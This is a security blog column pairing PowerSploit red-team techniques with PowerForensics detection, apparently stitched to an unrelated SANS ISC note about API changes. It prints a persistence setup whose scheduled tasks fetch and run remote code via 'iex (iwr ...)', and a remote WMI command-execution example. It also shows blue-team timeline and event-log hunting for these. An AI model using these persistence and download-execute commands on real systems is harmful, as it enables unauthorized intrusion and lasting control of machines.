toolsmith #112: Red vs Blue - PowerSploit vs PowerForensics
The following is a cross-posted from HolisticInfoSec.
Happy New Year and welcome to 2016! When last we explored red team versus blue team tactics in May 2015, we utilized Invoke-Mimikatz, then reviewed and analyzed a victim with WinPmem and Rekall. The recent release of PowerSploit 3.0.0 on 18 DEC 2015 presents us with another opportunity to use PowerShell for a red team versus blue team discussion. This time its an all PowerShell scenario, thanks as well to PowerForensics. Forget the old Apple pitch line: "There's an app for that." With so much PowerShell love, there's a PowerShell script for that!
For the uninitiated, a description of each. PowerSploit "is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment." PowerForensics "is a PowerShell digital forensics framework. It currently supports NTFS and is in the process of adding support for the ext4 file system." Both are updated regularly and are GitHub projects subject to your feedback and contributions. PowerSploit includes scripts that aid in antimalware bypasses, code execution, exfiltration, persistence, privilege escalation, reconnaissance, script modification, and general mayhem.PowerForensics includes scripts the allow analysis of the boot sector, Windows artifacts, the Application Compatibility Cache, Windows Registry, as well as create forensic timelines. There are also Extended File System 4 (ext4) scripts as well as some utilities.
Credit where due, these two projects include some excellent developers, including Jared Atkinson, who leads PowerForensics but also contributes to PowerSploit. The PowerSploit team also includes Matt Graeber and Joe Bialek, I've admired their work and skill set for years. We won't explore it here, but be sure to check out Empire from Will Schroeder, who also contributes to PowerSploit. The topic of a future toolsmith, "Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture."
Before working through a couple of red vs. blue scenarios, a quick rundown on installation for both tool sets. For PowerSploit, use Download Zip from the Github repo, move the zip package to your \Documents\WindowsPowerShell\Modules path under your user directory, unpack it, and rename PowerSploit-master to PowerSploit. From an administrator PowerShell prompt, run Import-Module PowerSploit and follow it with Get-Command -Module PowerSploit to ensure proper import. You will definitely want to run $Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerSploit) ) {Get-ChildItem $_ -Recurse | Unblock-File} } to avoid the incredibly annoying "Do you really want to run scripts downloaded from the Internet" warning. Yes, I really do. For PowerForensics, the routine is similar, however the modules for PowerForensics are buried a bit deeper in the ZIP package. Again, use Download Zip from the Github repo, unpack the ZIP, drill down to \PowerForensics-master\PowerForensics\Module and copy the PowerForensics directory there to your \Documents\WindowsPowerShell\Modules path. Issue Get-Module -ListAvailable -Name PowerForensics, them Import-Module PowerForensics. Again, Get-Command -Module PowerForensics will ensure a clean import and show you available modules. Likely worth adding $Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerForensics) ) {Get-ChildItem $_ -Recurse | Unblock-File} } to avoid hassles as well. Let's begin with my absolute favorite, it is the ultimate in absolute nerd humor and is a force to be reckoned with all by itself. Imagine a red team engagement where you've pwned the entire environment, then you leave the following calling card. If you run Get-Help Add-Persistence -examples you will discover the best infosec joke ever, forget just PowerShell. I'll modify Example 2 for our red vs. blue purposes, but the net result is unforgettable. From a PowerShell prompt:
- $Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) }
- $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
- $UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
- Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\rr.ps1
Three files are written: Persistence.ps1, RemovePersistence.ps1, and rr.ps1 which is EncodedPersistence.ps1 renamed. Inspecting rr.ps1 reveals base64 encoding designed to conceal the 80's musical flashback that follows.
User-level and elevated persistent scheduled tasks are created, called TN Updater, and a profile.ps1 file is written to C:\Users\
Should your victim, or you on behalf of your victim, run .\rr.ps1, a few pleasantries ensue. Every time the victim system goes idle or the user invokes a PowerShell prompt, oh yeah baby, Rick Astley, Never Gonna Give You Up. Er, more specifically, Rick ASCII. Thank you, Lee Holmes, really.
All good chuckles aside, a persistent rickroll is really just an example of any number of truly evil options. Shells, beacons, downloaders all come to mind, creativity is really your only challenge, Add-Persistence is your vehicle for scripting forget-me-not. All good for the red teamers, what's there for the blue team?
PowerForensics Get-ForensicTimeline is likely a good start, I'm a huge fan of a complete timeline. When you run Get-Help Get-ForensicTimeline you'll quickly learn that it incorporates the following cmdlets:
- Get-ForensicScheduledJob
- Get-ForensicShellLink
- Get-ForensicUsnJrnl
- Get-ForensicEventLog
- Get-ForensicRegistryKey
Get-ForensicTimeline left unchecked will, of course, dump a timeline for the entire discernible date range of all artifacts. This can lead to an unwieldy, huge text dump, I suggest filtering up front. Assume as a blue team member I knew my "attack" had occurred sometime during the New Year holiday. As such, I ran Get-ForensicTimeline | Sort-Object -Property Date | Where-Object { $_.Date -ge "12/30/2015" -and $_.Date -le "01/04/2016" } > c:\tmp\timeline2.txt.
This resulted in a much more manageable file for indicator searches. In this case, we'd like to attribute detail to the creation and execution of rr.ps1. There are a couple of ways to dig in here. SLS, alias for Select-String is your PowerShell friend: sls rr.ps1 .\timeline2.txt -AllMatches.
Always remember your trusty text editor as well. Even though I pre-filtered by date range, 010 Editor was able to easily process the full timeline as it handles large files quite well.
You can see we've easily discovered who, what, and where. The why is easy, because rickrolls rule! :-)
Timeline analysis is always vital and important but there are more opportunities here, let's put these kits through their paces for a second scenario. PowerSpoit includes Invoke-WmiCommand. Per its description, Invoke-WmiCommand "executes a PowerShell ScriptBlock on a target computer using WMI as a pure C2 channel. It does this by using the StdRegProv WMI registry provider methods to store a payload into a registry value. The command is then executed on the victim system and the output is stored in another registry value that is then retrieved remotely." Easy enough, I used one of the example against one of my servers as follows:
Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\pwnkey' -RegistryPayloadValueName 'pwnage' -RegistryResultValueName 'pwnresults' -ComputerName '10.120.175.122' -Credential 'DOMAIN\username' -Verbose
I changed my domain and username to DOMAIN\username for the example, obviously you'll use your known good credentials. Results follow.
The payload here is simple math, 1+3+2+1+1, as executed on my victim server (10.120.175.122) and returned the result (8) to my attacker host. You can imagine how useful quick, easy remote WMI calls might be for a red team. Obviously a more constructive (destructive?) payload would be in order. But how to spot this from the blue team's perspective?
PowerForensics includes Get-ForensicEventLog. Registry tweaks create Windows Security event log entries, including 4656 for registry key open, 4657 for creation, modification and deletion of registry values, and 4658 for registry key closed. Imagine a security event log export file from a victim system, ready for analysis on your forensic workstation. As such, you could run the likes of Get-ForensicEventLog -path C:\tmp\security.evtx | Where-Object { $_.EventData -like "EventId: 4656" }.
See? That's not so bad, right? Red team events do not need to leave the blue team scrambling to catch up. Similar tactics but different outcomes. I've done neither of these PowerShell infosec offerings any real justice, but hopefully opened your eyes to the options and opportunities the represent. Use them both and you'll be better for it. Conduct your red vs. blue exercises in concert, cooperatively, and you'll achieve improved outcomes. Emulate that adversary, then hunt him down.
Please feel free to share your red team vs. blue team PowerShell concepts via comments, readers will benefit from your experience as well.
Follow these guys on Twitter if you want to stay up on the PowerShell arms race. :-)
Ping me via email or Twitter if you have questions: russ at holisticinfosec dot org or @holisticinfosec.
Site Updates: ISC/DShield API and ipinfo_ascii.html Page
We are planning a couple of updates to the ways data can be retrieved automatically from this site. The main reason for this is to make it easier for us to maintain and support some of these features. The main idea will be that we focus automatic data retrieval to our API (isc.sans.edu/api or dshield.org/api). It should be the only place that is used to have scripts retrieve data.
In the past, we had a couple of other pages that supported automatic data retrieval. For example, ipinfo_ascii.html . These pages will be phased out. We will first remove links to these pages and no longer "advertise" them. Secondly, the pages will be rate limited to only a few requests per hour. Finally, we will remove the pages. We may also do stricter filtering on user agents and other browser fingerprints to pages other than the API.
Sometime this year, we may also add a simple authentication to the API. We do not care who downloads our data, but it can be handy to be able to reach a user that is causing problems. It is helpful if you add contact information (e.g. an e-mail address) to your user agent. I will write up another diary once we defined the authentication mechanism. But we do expect to keep it simple (e.g. a static "authentication key" or a hash of an authentication key with a nonce) and we will still allow unauthenticated requests at a slower rate.
All our data is free to use for "non-commercial" use, meaning as long as you do not re-sell it. You can use the data for free to help you protect your company network. Also please understand that the data is provided "as is". It is, in my opinion, best used to provide context to your data, and should not be used as a simple blocklist.
In exchange for using our data, we hope that you help us make the data better by contributing your data.
Comments